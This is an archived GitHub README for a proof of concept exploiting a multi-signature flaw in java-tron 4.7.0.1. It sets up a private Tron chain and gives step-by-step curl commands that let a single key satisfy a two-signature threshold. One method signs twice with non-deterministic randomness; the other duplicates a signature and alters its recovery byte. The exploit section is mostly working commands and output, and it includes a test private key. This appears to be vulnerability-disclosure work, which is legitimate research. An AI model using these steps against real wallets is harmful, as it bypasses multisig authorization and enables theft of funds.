Skip to content
This repository has been archived by the owner on Jul 11, 2024. It is now read-only.

dwallet-labs/tron-multisig-vulnerability-poc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

Exploit Tron multi-signature wallets

Environment Setup

  1. Clone java-tron and checkout the last vulnerable version
git clone https://github.com/tronprotocol/java-tron.git
#checkout 4.7.0.1 version
git checkout cb6c15a2c94ea29db52d51120838f782884a41ef
#verify
git show
  1. Change Tron api service to sign with non deterministic random(change JAVA-TRON-ROOT to the folder you cloned java-tron to it):
cp ECKey.java JAVA-TRON-ROOT/java-tron/crypto/src/main/java/org/tron/common/crypto/ECKey.java
  1. Now build it using this guide: https://tronprotocol.github.io/documentation-en/developers/deployment/#deployment-guide
  2. Config private network as described here: https://developers.tron.network/docs/tron-private-chain
  3. Use the fullnode.conf file in this repo as the net config file (the important part is to Make sure that in your genesis JSON there is account "TTLJwBFQkSsTtRn7tkDYcC12gfJcdgQWsH" with TRX balance)

The private key for this account is: c555eab45d08845ae9f10d452a99bfcb06f74a50b988fe7e48dd323789b88ee3

And the address is:

41be77d382386ed4cab15a88aaadcf7c9fdfe3dc39

  1. After deploying the node, change the permissions of the account to require threshold= 2:
transper=$(curl -X POST  [http://127.0.0.1:16667/wallet/accountpermissionupdate](http://127.0.0.1:16667/wallet/accountpermissionupdate) -d '{ "owner_address": "41be77d382386ed4cab15a88aaadcf7c9fdfe3dc39", "owner": { "type": 0, "permission_name": "owner", "threshold": 2, "keys": [{ "address": "41be77d382386ed4cab15a88aaadcf7c9fdfe3dc39", "weight": 1 }, { "address": "411e9830fe1a4882d0c973e477c76ee4e1fc63a213", "weight": 1 }, { "address": "41BB7322198D273E39B940A5A4C955CB7199A0CDEE", "weight": 1 } ] }, "actives": [{ "type": 2, "permission_name": "active0", "threshold": 2, "operations": "7fff1fc0037e0000000000000000000000000000000000000000000000000000", "keys": [{ "address": "41be77d382386ed4cab15a88aaadcf7c9fdfe3dc39", "weight": 1 }, { "address": "411e9830fe1a4882d0c973e477c76ee4e1fc63a213", "weight": 1 }, { "address": "41BB7322198D273E39B940A5A4C955CB7199A0CDEE", "weight": 1 } ] }] }')
transpersig=$(curl -X POST  [http://127.0.0.1:16667/wallet/gettransactionsign](http://127.0.0.1:16667/wallet/gettransactionsign) -d "{ 'transaction': echo $transper, 'privateKey': 'c555eab45d08845ae9f10d452a99bfcb06f74a50b988fe7e48dd323789b88ee3' }")
curl -X POST  [http://127.0.0.1:16667/wallet/broadcasttransaction](http://127.0.0.1:16667/wallet/broadcasttransaction) -d "echo $transpersig"

Exploit

  1. Check the balance before:
curl -X POST  [http://127.0.0.1:16667/wallet/getaccount](http://127.0.0.1:16667/wallet/getaccount)  -d ' { "address": ["41e9d79cc47518930bc322d9bf7cddd260a0260a8d"]}'
  1. Create new transaction:
trans=$(curl -X POST  [http://127.0.0.1:16667/wallet/createtransaction](http://127.0.0.1:16667/wallet/createtransaction)  -d '{ "to_address": "41e9d79cc47518930bc322d9bf7cddd260a0260a8d", "owner_address": "41be77d382386ed4cab15a88aaadcf7c9fdfe3dc39", "amount": 1 }')
  1. Add first signature:
transign=$(curl -X POST  [http://127.0.0.1:16667/wallet/addtransactionsign](http://127.0.0.1:16667/wallet/addtransactionsign)  -d "{ 'transaction': echo $trans, 'privateKey': 'c555eab45d08845ae9f10d452a99bfcb06f74a50b988fe7e48dd323789b88ee3' }")
  1. print the first signed transaction:
echo $transign
  1. Add another signature:
transign=$(curl -X POST  [http://127.0.0.1:16667/wallet/addtransactionsign](http://127.0.0.1:16667/wallet/addtransactionsign)  -d "{ 'transaction': echo $trans, 'privateKey': 'c555eab45d08845ae9f10d452a99bfcb06f74a50b988fe7e48dd323789b88ee3' }")
  1. print the signed transaction:
echo $transign
  1. now, we will take the signature from the first signing request and we will add it to the "signatures" array(see example below), and then, we will send the transaction to the netwok. For example, if the first signed transaction is:
'{"visible":false,"signature":["bfd2cb13687a972827b1b6e66570fd5244ea627e23f05e0f915a58ed21699a001e31724c3f98ff383cd75e8d12bb9a9eb0ee1ca21f5879b0c56807e79871f73d00"],"txID":"3ba21ebca5208d0d4d28e78e891ae2aa0b8fbd8d76f39192e21a103e2db83d3b","raw_data":{"contract":[{"parameter":{"value":{"amount":1,"owner_address":"41be77d382386ed4cab15a88aaadcf7c9fdfe3dc39","to_address":"41e9d79cc47518930bc322d9bf7cddd260a0260a8d"},"type_url":"[type.googleapis.com/protocol.TransferContract"},"type":"TransferContract"}],"ref_block_bytes":"d097","ref_block_hash":"28171bdd339d6579","expiration":1678109022000,"timestamp":1678108964365},"raw_data_hex":"0a02d097220828171bdd339d657940b0aedeb8eb305a65080112610a2d747970652e676f6f676c65617069732e636f6d2f70726f746f636f6c2e5472616e73666572436f6e747261637412300a1541be77d382386ed4cab15a88aaadcf7c9fdfe3dc39121541e9d79cc47518930bc322d9bf7cddd260a0260a8d1801708decdab8eb30](http://type.googleapis.com/protocol.TransferContract%22%7D,%22type%22:%22TransferContract%22%7D%5D,%22ref_block_bytes%22:%22d097%22,%22ref_block_hash%22:%2228171bdd339d6579%22,%22expiration%22:1678109022000,%22timestamp%22:1678108964365%7D,%22raw_data_hex%22:%220a02d097220828171bdd339d657940b0aedeb8eb305a65080112610a2d747970652e676f6f676c65617069732e636f6d2f70726f746f636f6c2e5472616e73666572436f6e747261637412300a1541be77d382386ed4cab15a88aaadcf7c9fdfe3dc39121541e9d79cc47518930bc322d9bf7cddd260a0260a8d1801708decdab8eb30)"}'

And the signature from the second transaction is:

b21761e4851b5bd906647a69351c39aab5b5c459b09891431712270b05809ede72a9627c30dd9c8d40cf2c2d3ee9d82309f4a4d9aa30487492e795f6de05851400

So the combined transaction will be:

{"visible":false,"signature":["bfd2cb13687a972827b1b6e66570fd5244ea627e23f05e0f915a58ed21699a001e31724c3f98ff383cd75e8d12bb9a9eb0ee1ca21f5879b0c56807e79871f73d00","b21761e4851b5bd906647a69351c39aab5b5c459b09891431712270b05809ede72a9627c30dd9c8d40cf2c2d3ee9d82309f4a4d9aa30487492e795f6de05851400"],"txID":"3ba21ebca5208d0d4d28e78e891ae2aa0b8fbd8d76f39192e21a103e2db83d3b","raw_data":{"contract":[{"parameter":{"value":{"amount":1,"owner_address":"41be77d382386ed4cab15a88aaadcf7c9fdfe3dc39","to_address":"41e9d79cc47518930bc322d9bf7cddd260a0260a8d"},"type_url":"[type.googleapis.com/protocol.TransferContract"},"type":"TransferContract"}],"ref_block_bytes":"d097","ref_block_hash":"28171bdd339d6579","expiration":1678109022000,"timestamp":1678108964365},"raw_data_hex":"0a02d097220828171bdd339d657940b0aedeb8eb305a65080112610a2d747970652e676f6f676c65617069732e636f6d2f70726f746f636f6c2e5472616e73666572436f6e747261637412300a1541be77d382386ed4cab15a88aaadcf7c9fdfe3dc39121541e9d79cc47518930bc322d9bf7cddd260a0260a8d1801708decdab8eb30](http://type.googleapis.com/protocol.TransferContract%22%7D,%22type%22:%22TransferContract%22%7D%5D,%22ref_block_bytes%22:%22d097%22,%22ref_block_hash%22:%2228171bdd339d6579%22,%22expiration%22:1678109022000,%22timestamp%22:1678108964365%7D,%22raw_data_hex%22:%220a02d097220828171bdd339d657940b0aedeb8eb305a65080112610a2d747970652e676f6f676c65617069732e636f6d2f70726f746f636f6c2e5472616e73666572436f6e747261637412300a1541be77d382386ed4cab15a88aaadcf7c9fdfe3dc39121541e9d79cc47518930bc322d9bf7cddd260a0260a8d1801708decdab8eb30)"}
  1. Broadcasting the transaction to the network:
curl -X POST  [http://127.0.0.1:16667/wallet/broadcasttransaction](http://127.0.0.1:16667/wallet/broadcasttransaction) -d '{"visible":false,"signature":["bfd2cb13687a972827b1b6e66570fd5244ea627e23f05e0f915a58ed21699a001e31724c3f98ff383cd75e8d12bb9a9eb0ee1ca21f5879b0c56807e79871f73d00","b21761e4851b5bd906647a69351c39aab5b5c459b09891431712270b05809ede72a9627c30dd9c8d40cf2c2d3ee9d82309f4a4d9aa30487492e795f6de05851400"],"txID":"3ba21ebca5208d0d4d28e78e891ae2aa0b8fbd8d76f39192e21a103e2db83d3b","raw_data":{"contract":[{"parameter":{"value":{"amount":1,"owner_address":"41be77d382386ed4cab15a88aaadcf7c9fdfe3dc39","to_address":"41e9d79cc47518930bc322d9bf7cddd260a0260a8d"},"type_url":"[type.googleapis.com/protocol.TransferContract"},"type":"TransferContract"}],"ref_block_bytes":"d097","ref_block_hash":"28171bdd339d6579","expiration":1678109022000,"timestamp":1678108964365},"raw_data_hex":"0a02d097220828171bdd339d657940b0aedeb8eb305a65080112610a2d747970652e676f6f676c65617069732e636f6d2f70726f746f636f6c2e5472616e73666572436f6e747261637412300a1541be77d382386ed4cab15a88aaadcf7c9fdfe3dc39121541e9d79cc47518930bc322d9bf7cddd260a0260a8d1801708decdab8eb30](http://type.googleapis.com/protocol.TransferContract%22%7D,%22type%22:%22TransferContract%22%7D%5D,%22ref_block_bytes%22:%22d097%22,%22ref_block_hash%22:%2228171bdd339d6579%22,%22expiration%22:1678109022000,%22timestamp%22:1678108964365%7D,%22raw_data_hex%22:%220a02d097220828171bdd339d657940b0aedeb8eb305a65080112610a2d747970652e676f6f676c65617069732e636f6d2f70726f746f636f6c2e5472616e73666572436f6e747261637412300a1541be77d382386ed4cab15a88aaadcf7c9fdfe3dc39121541e9d79cc47518930bc322d9bf7cddd260a0260a8d1801708decdab8eb30)"}'
  1. And we will see that the balance have been changed:
curl -X POST  [http://127.0.0.1:16667/wallet/getaccount](http://127.0.0.1:16667/wallet/getaccount)  -d ' { "address": ["41e9d79cc47518930bc322d9bf7cddd260a0260a8d"]}'

Example

Let's take a look at an account with a balance of 223309 TRX (our destination account):

Let's create a new transaction now:

https://lh3.googleusercontent.com/VJ0nZxaVE1ulcRW4ZBDBYdH8osFHQAmjmhDpaIJ3JopXI7kfAm4ABKrLkXHeoB6bPCyn-ArTiqU6wug5jzj4lxZSkQFN2LtwIgc59L8XGWLd9W5tJV02l7TG22UcApYQIpCz8hs-xCA8A5j8yT-n9GI

https://lh6.googleusercontent.com/hqSE-4ILSZ0-X7SK0GTSQYjiGtZtrYoqS-5iQOqrVUWcLrI3fomTfHQIntemZy019laEfzPiOsmvrppBLaWNHFWbEo2ESMbwtvP0DfxkHtgkVdRCNrf2mYtqyLCZp23SZ-SaLzn3uvTuF_Dpl4df-6c

To sign the transaction with real random, we will the java-tron ECKey library, and we will change it to use real random instead of deterministic random:

And then we will generate 2 different signatures for this transaction:

Now we just need to combine the signatures into one transaction and broadcast it:

And the transaction will be approved! :

And if we will inspect the transaction using the “wallet/getsignweight” API, we will see that it is the same account twice in the approved list, but the "current_weight" is 2.

Exploiting the RecoverId Issue

Let's take a look at an account with a balance of 10 TRX (our destination account):

https://lh5.googleusercontent.com/vrZCJfSk53fAbHcB-LgM9pk1bjuRpq_-Ii-ouB7vQAvIBp1nVL9Hk58cBo82FDvC40vOVbC6IgcUjc5FncHxEt9YnIHlNiMci5jW_Kad-rYvipiffcntUEZFXwK3oAae27tbuFGysLSsfQ8GL_ELhGc

We will now create a new transaction for sending 1 TRX from our multi-signature wallet to the destination account, adding one signature:

https://lh5.googleusercontent.com/ShW9iApVzDq8tsGWExz8F7qVXnZk7_c_tOR8FTc7GBZmzG_0Ux0P5bsdr8D_FSu3T-G7wOt0iXrQ0KrN_qWrCDoeqLwTfUWAesIadyTpTzjPvzMZFMw8xD9Gk_AodSG3RBAESLCKwnbD8OYmbRD5GyU

If we will check the transaction this step, we will get an error of “not enough permissions”:

https://lh5.googleusercontent.com/RzK4767i6oqRvCvCIMyLaxT8XkFRlVhDmMjKcuzEJVFVXsKwh7MsiaC6Fx6VhTln7P_Q-WzWUAuYeTQpvfpalbq2nIUo6Ky5vrjdwXRY3aZyI_x7d0sZKCQblmpGVcYbFbpvHtSFyckAKR72A1AFmIQ

But if we will duplicate the signature and we will increase the last byte in 4 we will get valid transaction:

https://lh5.googleusercontent.com/dxh-4DIyI-2v7B92_tztmrbhtj2J07Is4B5TXcGTIdh1SYz98HTojPrNG4B_L_8y7_ryqxlhXE0yuCcUaebuiL3G_ahlw2jDUrGkNOQv8v_lsa4c1Jp5WPxLU-TVUZb54l0K-7393IAuxTuvkqENBNs

As we can see from the response JSON, there is the same account twice in the approved list, but the "current_weight" is 2.

https://lh3.googleusercontent.com/ATwgpwQZ6OswyfuN75Atbb9Ae119GEeBB5dcnmN3mn9qMTBYZlvVHhZ8EAv23aydxMAjE6q067RdSJoC7e6uQ8rYgwSr73wPavpUllfQ1L-w5dimLe2HYj3PVHc3FLFNhAG7O3NcHtgWov0-0F-IYEA

So we can broadcast the transaction now:

https://lh3.googleusercontent.com/qUNMSjhjUDBWZPye_ZInDuZQN7EfUpVWUIgnCwDoLJG0JAqwr0uUzL1iR95KkgvJPI4vEN_HkTIvxnXZ8z3JA0FRvA8HfZtsXEF9zVKAxoqb1j78Jx16EuBqz1AriKkodrBW4k0W-N5Z-I0ToKQzPRM

And it worked!:

https://lh6.googleusercontent.com/cysNqVUqqZ0o4V857nGjIj6ZKD4eRa1NjjNhVgPadrjH0nJW5xoiPOhXl0WxH8XNk0uyoGnJCq9_eV3Ej-fWrMpeXAW_aSyI2zg-RFgIvX2oNzqWgxGc3LrQB6zz8WZo8KoaTM7O7cqf5S-IcI-ownw

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Languages